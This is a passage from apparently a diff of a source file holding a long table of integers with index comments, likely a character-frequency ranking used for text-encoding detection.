93,7326, 822,1897, # 2982 +2810,3111, 795,2064, 991,1554,1542,1592, 27, 43,2853, 859, 139,1456, 860,4300, # 2998 + 437, 712,3871, 164,2392,3112, 695, 211,3017,2096, 195,3872,1608,3504,3505,3618, # 3014 +3873, 234, 811,2971,2097,3874,2229,1441,3506,1615,2375, 668,2076,1638, 305, 228, # 3030 +1664,4301, 467, 415,7327, 262,2098,1593, 239, 108, 300, 200,1033, 512,1247,2077, # 3046 +7328,7329,2173,3176,3619,2673, 593, 845,1062,3244, 88,1723,2037,3875,1950, 212, # 3062 + 266, 152, 149, 468,1898,4066,4302, 77, 187,7330,3018, 37, 5,2972,7331,3876, # 3078 +7332,7333, 39,2517,4303,2894,3177,2078, 55, 148, 74,4304, 545, 483,1474,1029, # 3094 +1665, 217,1869,1531,3113,1104,2645,4067, 24, 172,3507, 900,3877,3508,3509,4305, # 3110 + 32,1408,2811,1312, 329, 487,2355,2247,2708, 784,2674, 4,3019,3314,1427,1788, # 3126 + 188, 109, 499,7334,3620,1717,1789, 888,1217,3020,4306,7335,3510,7336,3315,1520, # 3142 +3621,3878, 196,1034, 775,7337,7338, 929,1815, 249, 439, 38,7339,1063,7340, 794, # 3158 +3879,1435,2296, 46, 178,3245,2065,7341,2376,7342, 214,1709,4307, 804, 35, 707, # 3174 + 324,3622,1601,2546, 140, 459,4068,7343,7344,1365, 839, 272, 978,2257,2572,3409, # 3190 +2128,1363,3623,1423, 697, 100,3071, 48, 70,1231, 495,3114,2193,7345,1294,7346, # 3206 +2079, 462, 586,1042,3246, 853, 256, 988, 185,2377,3410,1698, 434,1084,7347,3411, # 3222 + 314,2615,2775,4308,2330,2331, 569,2280, 637,1816,2518, 757,1162,1878,1616,3412, # 3238 + 287,1577,2115, 768,4309,1671,2854,3511,2519,1321,3737, 909,2413,7348,4069, 933, # 3254 +3738,7349,2052,2356,1222,4310, 765,2414,1322, 786,4311,7350,1919,1462,1677,2895, # 3270 +1699,7351,4312,1424,2437,3115,3624,2590,3316,1774,1940,3413,3880,4070, 309,1369, # 3286 +1130,2812, 364,2230,1653,1299,3881,3512,3882,3883,2646, 525,1085,3021, 902,2000, # 3302 +1475, 964,4313, 421,1844,1415,1057,2281, 940,1364,3116, 376,4314,4315,1381, 7, # 3318 +2520, 983,2378, 336,1710,2675,1845, 321,3414, 559,1131,3022,2742,1808,1132,1313, # 3334 + 265,1481,1857,7352, 352,1203,2813,3247, 167,1089, 420,2814, 776, 792,1724,3513, # 3350 +4071,2438,3248,7353,4072,7354, 446, 229, 333,2743, 901,3739,1200,1557,4316,2647, # 3366 +1920, 395,2744,2676,3740,4073,1835, 125, 916,3178,2616,4317,7355,7356,3741,7357, # 3382 +7358,7359,4318,3117,3625,1133,2547,1757,3415,1510,2313,1409,3514,7360,2145, 438, # 3398 +2591,2896,2379,3317,1068, 958,3023, 461, 311,2855,2677,4074,1915,3179,4075,1978, # 3414 + 383, 750,2745,2617,4076, 274, 539, 385,1278,1442,7361,1154,1964, 384, 561, 210, # 3430 + 98,1295,2548,3515,7362,1711,2415,1482,3416,3884,2897,1257, 129,7363,3742, 642, # 3446 + 523,2776,2777,2648,7364, 141,2231,1333, 68, 176, 441, 876, 907,4077, 603,2592, # 3462 + 710, 171,3417, 404, 549, 18,3118,2393,1410,3626,1666,7365,3516,4319,2898,4320, # 3478 +7366,2973, 368,7367, 146, 366, 99, 871,3627,1543, 748, 807,1586,1185, 22,2258, # 3494 + 379,3743,3180,7368,3181, 505,1941,2618,1991,1382,2314,7369, 380,2357, 218, 702, # 3510 +1817,1248,3418,3024,3517,3318,3249,7370,2974,3628, 930,3250,3744,7371, 59,7372, # 3526 + 585, 601,4078, 497,3419,1112,1314,4321,1801,7373,1223,1472,2174,7374, 749,1836, # 3542 + 690,1899,3745,1772,3885,1476, 429,1043,1790,2232,2116, 917,4079, 447,1086,1629, # 3558 +7375, 556,7376,7377,2020,1654, 844,1090, 105, 550, 966,1758,2815,1008,1782, 686, # 3574 +1095,7378,2282, 793,1602,7379,3518,2593,4322,4080,2933,2297,4323,3746, 980,2496, # 3590 + 544, 353, 527,4324, 908,2678,2899,7380, 381,2619,1942,1348,7381,1341,1252, 560, # 3606 +3072,7382,3420,2856,7383,2053, 973, 886,2080, 143,4325,7384,7385, 157,3886, 496, # 3622 +4081, 57, 840, 540,2038,4326,4327,3421,2117,1445, 970,2259,1748,1965,2081,4082, # 3638 +3119,1234,1775,3251,2816,3629, 773,1206,2129,1066,2039,1326,3887,1738,1725,4083, # 3654 + 279,3120, 51,1544,2594, 423,1578,2130,2066, 173,4328,1879,7386,7387,1583, 264, # 3670 + 610,3630,4329,2439, 280, 154,7388,7389,7390,1739, 338,1282,3073, 693,2857,1411, # 3686 +1074,3747,2440,7391,4330,7392,7393,1240, 952,2394,7394,2900,1538,2679, 685,1483, # 3702 +4084,2468,1436, 953,4085,2054,4331, 671,2395, 79,4086,2441,3252, 608, 567,2680, # 3718 +3422,4087,4088,1691, 393,1261,1791,2396,7395,4332,7396,7397,7398,7399,1383,1672, # 3734 +3748,3182,1464, 522,1119, 661,1150, 216, 675,4333,3888,1432,3519, 609,4334,2681, # 3750 +2397,7400,7401,7402,4089,3025, 0,7403,2469, 315, 231,2442, 301,3319,4335,2380, # 3766 +7404, 233,4090,3631,1818,4336,4337,7405, 96,1776,1315,2082,7406, 257,7407,1809, # 3782 +3632,2709,1139,1819,4091,2021,1124,2163,2778,1777,2649,7408,3074, 363,1655,3183, # 3798 +7409,2975,7410,7411,7412,3889,1567,3890, 718, 103,3184, 849,1443, 341,3320,2934, # 3814 +1484,7413,1712, 127, 67, 339,4092,2398, 679,1412, 821,7414,7415, 834, 738, 351, # 3830 +2976,2146, 846, 235,1497,1880, 418,1992,3749,2710, 186,1100,2147,2746,3520,1545, # 3846 +1355,2935,2858,1377, 583,3891,4093,2573,2977,7416,1298,3633,1078,2549,3634,2358, # 3862 + 78,3750,3751, 267,1289,2099,2001,1594,4094, 348, 369,1274,2194,2175,1837,4338, # 3878 +1820,2817,3635,2747,2283,2002,4339,2936,2748, 144,3321, 882,4340,3892,2749,3423, # 3894 +4341,2901,7417,4095,1726, 320,7418,3893,3026, 788,2978,7419,2818,1773,1327,2859, # 3910 +3894,2819,7420,1306,4342,2003,1700,3752,3521,2359,2650, 787,2022, 506, 824,3636, # 3926 + 534, 323,4343,1044,3322,2023,1900, 946,3424,7421,1778,1500,1678,7422,1881,4344, # 3942 + 165, 243,4345,3637,2521, 123, 683,4096, 764,4346, 36,3895,1792, 589,2902, 816, # 3958 + 626,1667,3027,2233,1639,1555,1622,3753,3896,7423,3897,2860,1370,1228,1932, 891, # 3974 +2083,2903, 304,4097,7424, 292,2979,2711,3522, 691,2100,4098,1115,4347, 118, 662, # 3990 +7425, 611,1156, 854,2381,1316,2861, 2, 386, 515,2904,7426,7427,3253, 868,2234, # 4006 +1486, 855,2651, 785,2212,3028,7428,1040,3185,3523,7429,3121, 448,7430,1525,7431, # 4022 +2164,4348,7432,3754,7433,4099,2820,3524,3122, 503, 818,3898,3123,1568, 814, 676, # 4038 +1444, 306,1749,7434,3755,1416,1030, 197,1428, 805,2821,1501,4349,7435,7436,7437, # 4054 +1993,7438,4350,7439,7440,2195, 13,2779,3638,2980,3124,1229,1916,7441,3756,2131, # 4070 +7442,4100,4351,2399,3525,7443,2213,1511,1727,1120,7444,7445, 646,3757,2443, 307, # 4086 +7446,7447,1595,3186,7448,7449,7450,3639,1113,1356,3899,1465,2522,2523,7451, 519, # 4102 +7452, 128,2132, 92,2284,1979,7453,3900,1512, 342,3125,2196,7454,2780,2214,1980, # 4118 +3323,7455, 290,1656,1317, 789, 827,2360,7456,3758,4352, 562, 581,3901,7457, 401, # 4134 +4353,2248, 94,4354,1399,2781,7458,1463,2024,4355,3187,1943,7459, 828,1105,4101, # 4150 +1262,1394,7460,4102, 605,4356,7461,1783,2862,7462,2822, 819,2101, 578,2197,2937, # 4166 +7463,1502, 436,3254,4103,3255,2823,3902,2905,3425,3426,7464,2712,2315,7465,7466, # 4182 +2332,2067, 23,4357, 193, 826,3759,2102, 699,1630,4104,3075, 390,1793,1064,3526, # 4198 +7467,1579,3076,3077,1400,7468,4105,1838,1640,2863,7469,4358,4359, 137,4106, 598, # 4214 +3078,1966, 780, 104, 974,2938,7470, 278, 899, 253, 402, 572, 504, 493,1339,7471, # 4230 +3903,1275,4360,2574,2550,7472,3640,3029,3079,2249, 565,1334,2713, 863, 41,7473, # 4246 +7474,4361,7475,1657,2333, 19, 463,2750,4107, 606,7476,2981,3256,1087,2084,1323, # 4262 +2652,2982,7477,1631,1623,1750,4108,2682,7478,2864, 791,2714,2653,2334, 232,2416, # 4278 +7479,2983,1498,7480,2654,2620, 755,1366,3641,3257,3126,2025,1609, 119,1917,3427, # 4294 + 862,1026,4109,7481,3904,3760,4362,3905,4363,2260,1951,2470,7482,1125, 817,4110, # 4310 +4111,3906,1513,1766,2040,1487,4112,3030,3258,2824,3761,3127,7483,7484,1507,7485, # 4326 +2683, 733, 40,1632,1106,2865, 345,4113, 841,2524, 230,4364,2984,1846,3259,3428, # 4342 +7486,1263, 986,3429,7487, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562,3907, # 4358 +3908,2939, 967,2751,2655,1349, 592,2133,1692,3324,2985,1994,4114,1679,3909,1901, # 4374 +2185,7488, 739,3642,2715,1296,1290,7489,4115,2198,2199,1921,1563,2595,2551,1870, # 4390 +2752,2986,7490, 435,7491, 343,1108, 596, 17,1751,4365,2235,3430,3643,7492,4366, # 4406 + 294,3527,2940,1693, 477, 979, 281,2041,3528, 643,2042,3644,2621,2782,2261,1031, # 4422 +2335,2134,2298,3529,4367, 367,1249,2552,7493,3530,7494,4368,1283,3325,2004, 240, # 4438 +1762,3326,4369,4370, 836,1069,3128, 474,7495,2148,2525, 268,3531,7496,3188,1521, # 4454 +1284,7497,1658,1546,4116,7498,3532,3533,7499,4117,3327,2684,1685,4118, 961,1673, # 4470 +2622, 190,2005,2200,3762,4371,4372,7500, 570,2497,3645,1490,7501,4373,2623,3260, # 4486 +1956,4374, 584,1514, 396,1045,1944,7502,4375,1967,2444,7503,7504,4376,3910, 619, # 4502 +7505,3129,3261, 215,2006,2783,2553,3189,4377,3190,4378, 763,4119,3763,4379,7506, # 4518 +7507,1957,1767,2941,3328,3646,1174, 452,1477,4380,3329,3130,7508,2825,1253,2382, # 4534 +2186,1091,2285,4120, 492,7509, 638,1169,1824,2135,1752,3911, 648, 926,1021,1324, # 4550 +4381, 520,4382, 997, 847,1007, 892,4383,3764,2262,1871,3647,7510,2400,1784,4384, # 4566 +1952,2942,3080,3191,1728,4121,2043,3648,4385,2007,1701,3131,1551, 30,2263,4122, # 4582 +7511,2026,4386,3534,7512, 501,7513,4123, 594,3431,2165,1821,3535,3432,3536,3192, # 4598 + 829,2826,4124,7514,1680,3132,1225,4125,7515,3262,4387,4126,3133,2336,7516,4388, # 4614 +4127,7517,3912,3913,7518,1847,2383,2596,3330,7519,4389, 374,3914, 652,4128,4129, # 4630 + 375,1140, 798,7520,7521,7522,2361,4390,2264, 546,1659, 138,3031,2445,4391,7523, # 4646 +2250, 612,1848, 910, 796,3765,1740,1371, 825,3766,3767,7524,2906,2554,7525, 692, # 4662 + 444,3032,2624, 801,4392,4130,7526,1491, 244,1053,3033,4131,4132, 340,7527,3915, # 4678 +1041,2987, 293,1168, 87,1357,7528,1539, 959,7529,2236, 721, 694,4133,3768, 219, # 4694 +1478, 644,1417,3331,2656,1413,1401,1335,1389,3916,7530,7531,2988,2362,3134,1825, # 4710 + 730,1515, 184,2827, 66,4393,7532,1660,2943, 246,3332, 378,1457, 226,3433, 975, # 4726 +3917,2944,1264,3537, 674, 696,7533, 163,7534,1141,2417,2166, 713,3538,3333,4394, # 4742 +3918,7535,7536,1186, 15,7537,1079,1070,7538,1522,3193,3539, 276,1050,2716, 758, # 4758 +1126, 653,2945,3263,7539,2337, 889,3540,3919,3081,2989, 903,1250,4395,3920,3434, # 4774 +3541,1342,1681,1718, 766,3264, 286, 89,2946,3649,7540,1713,7541,2597,3334,2990, # 4790 +7542,2947,2215,3194,2866,7543,4396,2498,2526, 181, 387,1075,3921, 731,2187,3335, # 4806 +7544,3265, 310, 313,3435,2299, 770,4134, 54,3034, 189,4397,3082,3769,3922,7545, # 4822 +1230,1617,1849, 355,3542,4135,4398,3336, 111,4136,3650,1350,3135,3436,3035,4137, # 4838 +2149,3266,3543,7546,2784,3923,3924,2991, 722,2008,7547,1071, 247,1207,2338,2471, # 4854 +1378,4399,2009, 864,1437,1214,4400, 373,3770,1142,2216, 667,4401, 442,2753,2555, # 4870 +3771,3925,1968,4138,3267,1839, 837, 170,1107, 934,1336,1882,7548,7549,2118,4139, # 4886 +2828, 743,1569,7550,4402,4140, 582,2384,1418,3437,7551,1802,7552, 357,1395,1729, # 4902 +3651,3268,2418,1564,2237,7553,3083,3772,1633,4403,1114,2085,4141,1532,7554, 482, # 4918 +2446,4404,7555,7556,1492, 833,1466,7557,2717,3544,1641,2829,7558,1526,1272,3652, # 4934 +4142,1686,1794, 416,2556,1902,1953,1803,7559,3773,2785,3774,1159,2316,7560,2867, # 4950 +4405,1610,1584,3036,2419,2754, 443,3269,1163,3136,7561,7562,3926,7563,4143,2499, # 4966 +3037,4406,3927,3137,2103,1647,3545,2010,1872,4144,7564,4145, 431,3438,7565, 250, # 4982 + 97, 81,4146,7566,1648,1850,1558, 160, 848,7567, 866, 740,1694,7568,2201,2830, # 4998 +3195,4147,4407,3653,1687, 950,2472, 426, 469,3196,3654,3655,3928,7569,7570,1188, # 5014 + 424,1995, 861,3546,4148,3775,2202,2685, 168,1235,3547,4149,7571,2086,1674,4408, # 5030 +3337,3270, 220,2557,1009,7572,3776, 670,2992, 332,1208, 717,7573,7574,3548,2447, # 5046 +3929,3338,7575, 513,7576,1209,2868,3339,3138,4409,1080,7577,7578,7579,7580,2527, # 5062 +3656,3549, 815,1587,3930,3931,7581,3550,3439,3777,1254,4410,1328,3038,1390,3932, # 5078 +1741,3933,3778,3934,7582, 236,3779,2448,3271,7583,7584,3657,3780,1273,3781,4411, # 5094 +7585, 308,7586,4412, 245,4413,1851,2473,1307,2575, 430, 715,2136,2449,7587, 270, # 5110 + 199,2869,3935,7588,3551,2718,1753, 761,1754, 725,1661,1840,4414,3440,3658,7589, # 5126 +7590, 587, 14,3272, 227,2598, 326, 480,2265, 943,2755,3552, 291, 650,1883,7591, # 5142 +1702,1226, 102,1547, 62,3441, 904,4415,3442,1164,4150,7592,7593,1224,1548,2756, # 5158 + 391, 498,1493,7594,1386,1419,7595,2055,1177,4416, 813, 880,1081,2363, 566,1145, # 5174 +4417,2286,1001,1035,2558,2599,2238, 394,1286,7596,7597,2068,7598, 86,1494,1730, # 5190 +3936, 491,1588, 745, 897,2948, 843,3340,3937,2757,2870,3273,1768, 998,2217,2069, # 5206 + 397,1826,1195,1969,3659,2993,3341, 284,7599,3782,2500,2137,2119,1903,7600,3938, # 5222 +2150,3939,4151,1036,3443,1904, 114,2559,4152, 209,1527,7601,7602,2949,2831,2625, # 5238 +2385,2719,3139, 812,2560,7603,3274,7604,1559, 737,1884,3660,1210, 885, 28,2686, # 5254 +3553,3783,7605,4153,1004,1779,4418,7606, 346,1981,2218,2687,4419,3784,1742, 797, # 5270 +1642,3940,1933,1072,1384,2151, 896,3941,3275,3661,3197,2871,3554,7607,2561,1958, # 5286 +4420,2450,1785,7608,7609,7610,3942,4154,1005,1308,3662,4155,2720,4421,4422,1528, # 5302 +2600, 161,1178,4156,1982, 987,4423,1101,4157, 631,3943,1157,3198,2420,1343,1241, # 5318 +1016,2239,2562, 372, 877,2339,2501,1160, 555,1934, 911,3944,7611, 466,1170, 169, # 5334 +1051,2907,2688,3663,2474,2994,1182,2011,2563,1251,2626,7612, 992,2340,3444,1540, # 5350 +2721,1201,2070,2401,1996,2475,7613,4424, 528,1922,2188,1503,1873,1570,2364,3342, # 5366 +3276,7614, 557,1073,7615,1827,3445,2087,2266,3140,3039,3084, 767,3085,2786,4425, # 5382 +1006,4158,4426,2341,1267,2176,3664,3199, 778,3945,3200,2722,1597,2657,7616,4427, # 5398 +7617,3446,7618,7619,7620,3277,2689,1433,3278, 131, 95,1504,3946, 723,4159,3141, # 5414 +1841,3555,2758,2189,3947,2027,2104,3665,7621,2995,3948,1218,7622,3343,3201,3949, # 5430 +4160,2576, 248,1634,3785, 912,7623,2832,3666,3040,3786, 654, 53,7624,2996,7625, # 5446 +1688,4428, 777,3447,1032,3950,1425,7626, 191, 820,2120,2833, 971,4429, 931,3202, # 5462 + 135, 664, 783,3787,1997, 772,2908,1935,3951,3788,4430,2909,3203, 282,2723, 640, # 5478 +1372,3448,1127, 922, 325,3344,7627,7628, 711,2044,7629,7630,3952,2219,2787,1936, # 5494 +3953,3345,2220,2251,3789,2300,7631,4431,3790,1258,3279,3954,3204,2138,2950,3955, # 5510 +3956,7632,2221, 258,3205,4432, 101,1227,7633,3280,1755,7634,1391,3281,7635,2910, # 5526 +2056, 893,7636,7637,7638,1402,4161,2342,7639,7640,3206,3556,7641,7642, 878,1325, # 5542 +1780,2788,4433, 259,1385,2577, 744,1183,2267,4434,7643,3957,2502,7644, 684,1024, # 5558 +4162,7645, 472,3557,3449,1165,3282,3958,3959, 322,2152, 881, 455,1695,1152,1340, # 5574 + 660, 554,2153,4435,1058,4436,4163, 830,1065,3346,3960,4437,1923,7646,1703,1918, # 5590 +7647, 932,2268, 122,7648,4438, 947, 677,7649,3791,2627, 297,1905,1924,2269,4439, # 5606 +2317,3283,7650,7651,4164,7652,4165, 84,4166, 112, 989,7653, 547,1059,3961, 701, # 5622 +3558,1019,7654,4167,7655,3450, 942, 639, 457,2301,2451, 993,2951, 407, 851, 494, # 5638 +4440,3347, 927,7656,1237,7657,2421,3348, 573,4168, 680, 921,2911,1279,1874, 285, # 5654 + 790,1448,1983, 719,2167,7658,7659,4441,3962,3963,1649,7660,1541, 563,7661,1077, # 5670 +7662,3349,3041,3451, 511,2997,3964,3965,3667,3966,1268,2564,3350,3207,4442,4443, # 5686 +7663, 535,1048,1276,1189,2912,2028,3142,1438,1373,2834,2952,1134,2012,7664,4169, # 5702 +1238,2578,3086,1259,7665, 700,7666,2953,3143,3668,4170,7667,4171,1146,1875,1906, # 5718 +4444,2601,3967, 781,2422, 132,1589, 203, 147, 273,2789,2402, 898,1786,2154,3968, # 5734 +3969,7668,3792,2790,7669,7670,4445,4446,7671,3208,7672,1635,3793, 965,7673,1804, # 5750 +2690,1516,3559,1121,1082,1329,3284,3970,1449,3794, 65,1128,2835,2913,2759,1590, # 5766 +3795,7674,7675, 12,2658, 45, 976,2579,3144,4447, 517,2528,1013,1037,3209,7676, # 5782 +3796,2836,7677,3797,7678,3452,7679,2602, 614,1998,2318,3798,3087,2724,2628,7680, # 5798 +2580,4172, 599,1269,7681,1810,3669,7682,2691,3088, 759,1060, 489,1805,3351,3285, # 5814 +1358,7683,7684,2386,1387,1215,2629,2252, 490,7685,7686,4173,1759,2387,2343,7687, # 5830 +4448,3799,1907,3971,2630,1806,3210,4449,3453,3286,2760,2344, 874,7688,7689,3454, # 5846 +3670,1858, 91,2914,3671,3042,3800,4450,7690,3145,3972,2659,7691,3455,1202,1403, # 5862 +3801,2954,2529,1517,2503,4451,3456,2504,7692,4452,7693,2692,1885,1495,1731,3973, # 5878 +2365,4453,7694,2029,7695,7696,3974,2693,1216, 237,2581,4174,2319,3975,3802,4454, # 5894 +4455,2694,3560,3457, 445,4456,7697,7698,7699,7700,2761, 61,3976,3672,1822,3977, # 5910 +7701, 687,2045, 935, 925, 405,2660, 703,1096,1859,2725,4457,3978,1876,1367,2695, # 5926 +3352, 918,2105,1781,2476, 334,3287,1611,1093,4458, 564,3146,3458,3673,3353, 945, # 5942 +2631,2057,4459,7702,1925, 872,4175,7703,3459,2696,3089, 349,4176,3674,3979,4460, # 5958 +3803,4177,3675,2155,3980,4461,4462,4178,4463,2403,2046, 782,3981, 400, 251,4179, # 5974 +1624,7704,7705, 277,3676, 299,1265, 476,1191,3804,2121,4180,4181,1109, 205,7706, # 5990 +2582,1000,2156,3561,1860,7707,7708,7709,4464,7710,4465,2565, 107,2477,2157,3982, # 6006 +3460,3147,7711,1533, 541,1301, 158, 753,4182,2872,3562,7712,1696, 370,1088,4183, # 6022 +4466,3563, 579, 327, 440, 162,2240, 269,1937,1374,3461, 968,3043, 56,1396,3090, # 6038 +2106,3288,3354,7713,1926,2158,4467,2998,7714,3564,7715,7716,3677,4468,2478,7717, # 6054 +2791,7718,1650,4469,7719,2603,7720,7721,3983,2661,3355,1149,3356,3984,3805,3985, # 6070 +7722,1076, 49,7723, 951,3211,3289,3290, 450,2837, 920,7724,1811,2792,2366,4184, # 6086 +1908,1138,2367,3806,3462,7725,3212,4470,1909,1147,1518,2423,4471,3807,7726,4472, # 6102 +2388,2604, 260,1795,3213,7727,7728,3808,3291, 708,7729,3565,1704,7730,3566,1351, # 6118 +1618,3357,2999,1886, 944,4185,3358,4186,3044,3359,4187,7731,3678, 422, 413,1714, # 6134 +3292, 500,2058,2345,4188,2479,7732,1344,1910, 954,7733,1668,7734,7735,3986,2404, # 6150 +4189,3567,3809,4190,7736,2302,1318,2505,3091, 133,3092,2873,4473, 629, 31,2838, # 6166 +2697,3810,4474, 850, 949,4475,3987,2955,1732,2088,4191,1496,1852,7737,3988, 620, # 6182 +3214, 981,1242,3679,3360,1619,3680,1643,3293,2139,2452,1970,1719,3463,2168,7738, # 6198 +3215,7739,7740,3361,1828,7741,1277,4476,1565,2047,7742,1636,3568,3093,7743, 869, # 6214 +2839, 655,3811,3812,3094,3989,3000,3813,1310,3569,4477,7744,7745,7746,1733, 558, # 6230 +4478,3681, 335,1549,3045,1756,4192,3682,1945,3464,1829,1291,1192, 470,2726,2107, # 6246 +2793, 913,1054,3990,7747,1027,7748,3046,3991,4479, 982,2662,3362,3148,3465,3216, # 6262 +3217,1946,2794,7749, 571,4480,7750,1830,7751,3570,2583,1523,2424,7752,2089, 984, # 6278 +4481,3683,1959,7753,3684, 852, 923,2795,3466,3685, 969,1519, 999,2048,2320,1705, # 6294 +7754,3095, 615,1662, 151, 597,3992,2405,2321,1049, 275,4482,3686,4193, 568,3687, # 6310 +3571,2480,4194,3688,7755,2425,2270, 409,3218,7756,1566,2874,3467,1002, 769,2840, # 6326 + 194,2090,3149,3689,2222,3294,4195, 628,1505,7757,7758,1763,2177,3001,3993, 521, # 6342 +1161,2584,1787,2203,2406,4483,3994,1625,4196,4197, 412, 42,3096, 464,7759,2632, # 6358 +4484,3363,1760,1571,2875,3468,2530,1219,2204,3814,2633,2140,2368,4485,4486,3295, # 6374 +1651,3364,3572,7760,7761,3573,2481,3469,7762,3690,7763,7764,2271,2091, 460,7765, # 6390 +4487,7766,3002, 962, 588,3574, 289,3219,2634,1116, 52,7767,3047,1796,7768,7769, # 6406 +7770,1467,7771,1598,1143,3691,4198,1984,1734,1067,4488,1280,3365, 465,4489,1572, # 6422 + 510,7772,1927,2241,1812,1644,3575,7773,4490,3692,7774,7775,2663,1573,1534,7776, # 6438 +7777,4199, 536,1807,1761,3470,3815,3150,2635,7778,7779,7780,4491,3471,2915,1911, # 6454 +2796,7781,3296,1122, 377,3220,7782, 360,7783,7784,4200,1529, 551,7785,2059,3693, # 6470 +1769,2426,7786,2916,4201,3297,3097,2322,2108,2030,4492,1404, 136,1468,1479, 672, # 6486 +1171,3221,2303, 271,3151,7787,2762,7788,2049, 678,2727, 865,1947,4493,7789,2013, # 6502 +3995,2956,7790,2728,2223,1397,3048,3694,4494,4495,1735,2917,3366,3576,7791,3816, # 6518 + 509,2841,2453,2876,3817,7792,7793,3152,3153,4496,4202,2531,4497,2304,1166,1010, # 6534 + 552, 681,1887,7794,7795,2957,2958,3996,1287,1596,1861,3154, 358, 453, 736, 175, # 6550 + 478,1117, 905,1167,1097,7796,1853,1530,7797,1706,7798,2178,3472,2287,3695,3473, # 6566 +3577,4203,2092,4204,7799,3367,1193,2482,4205,1458,2190,2205,1862,1888,1421,3298, # 6582 +2918,3049,2179,3474, 595,2122,7800,3997,7801,7802,4206,1707,2636, 223,3696,1359, # 6598 + 751,3098, 183,3475,7803,2797,3003, 419,2369, 633, 704,3818,2389, 241,7804,7805, # 6614 +7806, 838,3004,3697,2272,2763,2454,3819,1938,2050,3998,1309,3099,2242,1181,7807, # 6630 +1136,2206,3820,2370,1446,4207,2305,4498,7808,7809,4208,1055,2605, 484,3698,7810, # 6646 +3999, 625,4209,2273,3368,1499,4210,4000,7811,4001,4211,3222,2274,2275,3476,7812, # 6662 +7813,2764, 808,2606,3699,3369,4002,4212,3100,2532, 526,3370,3821,4213, 955,7814, # 6678 +1620,4214,2637,2427,7815,1429,3700,1669,1831, 994, 928,7816,3578,1260,7817,7818, # 6694 +7819,1948,2288, 741,2919,1626,4215,2729,2455, 867,1184, 362,3371,1392,7820,7821, # 6710 +4003,4216,1770,1736,3223,2920,4499,4500,1928,2698,1459,1158,7822,3050,3372,2877, # 6726 +1292,1929,2506,2842,3701,1985,1187,2071,2014,2607,4217,7823,2566,2507,2169,3702, # 6742 +2483,3299,7824,3703,4501,7825,7826, 666,1003,3005,1022,3579,4218,7827,4502,1813, # 6758 +2253, 574,3822,1603, 295,1535, 705,3823,4219, 283, 858, 417,7828,7829,3224,4503, # 6774 +4504,3051,1220,1889,1046,2276,2456,4004,1393,1599, 689,2567, 388,4220,7830,2484, # 6790 + 802,7831,2798,3824,2060,1405,2254,7832,4505,3825,2109,1052,1345,3225,1585,7833, # 6806 + 809,7834,7835,7836, 575,2730,3477, 956,1552,1469,1144,2323,7837,2324,1560,2457, # 6822 +3580,3226,4005, 616,2207,3155,2180,2289,7838,1832,7839,3478,4506,7840,1319,3704, # 6838 +3705,1211,3581,1023,3227,1293,2799,7841,7842,7843,3826, 607,2306,3827, 762,2878, # 6854 +1439,4221,1360,7844,1485,3052,7845,4507,1038,4222,1450,2061,2638,4223,1379,4508, # 6870 +2585,7846,7847,4224,1352,1414,2325,2921,1172,7848,7849,3828,3829,7850,1797,1451, # 6886 +7851,7852,7853,7854,2922,4006,4007,2485,2346, 411,4008,4009,3582,3300,3101,4509, # 6902 +1561,2664,1452,4010,1375,7855,7856, 47,2959, 316,7857,1406,1591,2923,3156,7858, # 6918 +1025,2141,3102,3157, 354,2731, 884,2224,4225,2407, 508,3706, 726,3583, 996,2428, # 6934 +3584, 729,7859, 392,2191,1453,4011,4510,3707,7860,7861,2458,3585,2608,1675,2800, # 6950 + 919,2347,2960,2348,1270,4511,4012, 73,7862,7863, 647,7864,3228,2843,2255,1550, # 6966 +1346,3006,7865,1332, 883,3479,7866,7867,7868,7869,3301,2765,7870,1212, 831,1347, # 6982 +4226,4512,2326,3830,1863,3053, 720,3831,4513,4514,3832,7871,4227,7872,7873,4515, # 6998 +7874,7875,1798,4516,3708,2609,4517,3586,1645,2371,7876,7877,2924, 669,2208,2665, # 7014 +2429,7878,2879,7879,7880,1028,3229,7881,4228,2408,7882,2256,1353,7883,7884,4518, # 7030 +3158, 518,7885,4013,7886,4229,1960,7887,2142,4230,7888,7889,3007,2349,2350,3833, # 7046 + 516,1833,1454,4014,2699,4231,4519,2225,2610,1971,1129,3587,7890,2766,7891,2961, # 7062 +1422, 577,1470,3008,1524,3373,7892,7893, 432,4232,3054,3480,7894,2586,1455,2508, # 7078 +2226,1972,1175,7895,1020,2732,4015,3481,4520,7896,2733,7897,1743,1361,3055,3482, # 7094 +2639,4016,4233,4521,2290, 895, 924,4234,2170, 331,2243,3056, 166,1627,3057,1098, # 7110 +7898,1232,2880,2227,3374,4522, 657, 403,1196,2372, 542,3709,3375,1600,4235,3483, # 7126 +7899,4523,2767,3230, 576, 530,1362,7900,4524,2533,2666,3710,4017,7901, 842,3834, # 7142 +7902,2801,2031,1014,4018, 213,2700,3376, 665, 621,4236,7903,3711,2925,2430,7904, # 7158 +2431,3302,3588,3377,7905,4237,2534,4238,4525,3589,1682,4239,3484,1380,7906, 724, # 7174 +2277, 600,1670,7907,1337,1233,4526,3103,2244,7908,1621,4527,7909, 651,4240,7910, # 7190 +1612,4241,2611,7911,2844,7912,2734,2307,3058,7913, 716,2459,3059, 174,1255,2701, # 7206 +4019,3590, 548,1320,1398, 728,4020,1574,7914,1890,1197,3060,4021,7915,3061,3062, # 7222 +3712,3591,3713, 747,7916, 635,4242,4528,7917,7918,7919,4243,7920,7921,4529,7922, # 7238 +3378,4530,2432, 451,7923,3714,2535,2072,4244,2735,4245,4022,7924,1764,4531,7925, # 7254 +4246, 350,7926,2278,2390,2486,7927,4247,4023,2245,1434,4024, 488,4532, 458,4248, # 7270 +4025,3715, 771,1330,2391,3835,2568,3159,2159,2409,1553,2667,3160,4249,7928,2487, # 7286 +2881,2612,1720,2702,4250,3379,4533,7929,2536,4251,7930,3231,4252,2768,7931,2015, # 7302 +2736,7932,1155,1017,3716,3836,7933,3303,2308, 201,1864,4253,1430,7934,4026,7935, # 7318 +7936,7937,7938,7939,4254,1604,7940, 414,1865, 371,2587,4534,4535,3485,2016,3104, # 7334 +4536,1708, 960,4255, 887, 389,2171,1536,1663,1721,7941,2228,4027,2351,2926,1580, # 7350 +7942,7943,7944,1744,7945,2537,4537,4538,7946,4539,7947,2073,7948,7949,3592,3380, # 7366 +2882,4256,7950,4257,2640,3381,2802, 673,2703,2460, 709,3486,4028,3593,4258,7951, # 7382 +1148, 502, 634,7952,7953,1204,4540,3594,1575,4541,2613,3717,7954,3718,3105, 948, # 7398 +3232, 121,1745,3837,1110,7955,4259,3063,2509,3009,4029,3719,1151,1771,3838,1488, # 7414 